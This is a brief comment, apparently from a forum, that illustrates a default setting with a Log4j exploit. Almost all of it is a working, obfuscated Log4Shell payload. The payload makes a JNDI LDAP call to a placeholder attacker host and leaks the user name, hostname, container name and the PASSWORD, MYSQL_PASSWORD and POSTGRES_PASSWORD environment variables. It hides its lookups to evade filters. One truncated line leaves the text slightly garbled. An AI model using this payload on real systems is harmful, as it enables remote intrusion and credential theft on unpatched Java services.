I believe it's just on by default. For example if you try the log4j exploit, ```https://yourdomain.t

https://yourdomain.tld/$%7B$%7Benv:FOO:-j%7Dndi:$%7Blower:L%7Dda$%7Blower:P%7D://x.x.x.x:1389/FUZZ.HEADER.$%7Bdocker:imageName%7D.$%7Bsys:user.home%7D.$%7Bsys:user.name%7D.$%7Bsys:java.vm.version%7D.$%7Bk8s:containerName%7D.$%7Bspring:spring.application.name%7D.$%7Benv:HOSTNAME%7D.$%7Benv:HOST%7D.$%7Bctx:loginId%7D.$%7Bctx:hostName%7D.$%7Benv:PASSWORD%7D.$%7Benv:MYSQL_PASSWORD%7D.$%7Benv:POSTGRES_PASSWORD%7D.$%7Bmain:0%7D.$%7Bmain:1%7D.$%7Bmain:2%7D.$%7Bmain:3%7D%7D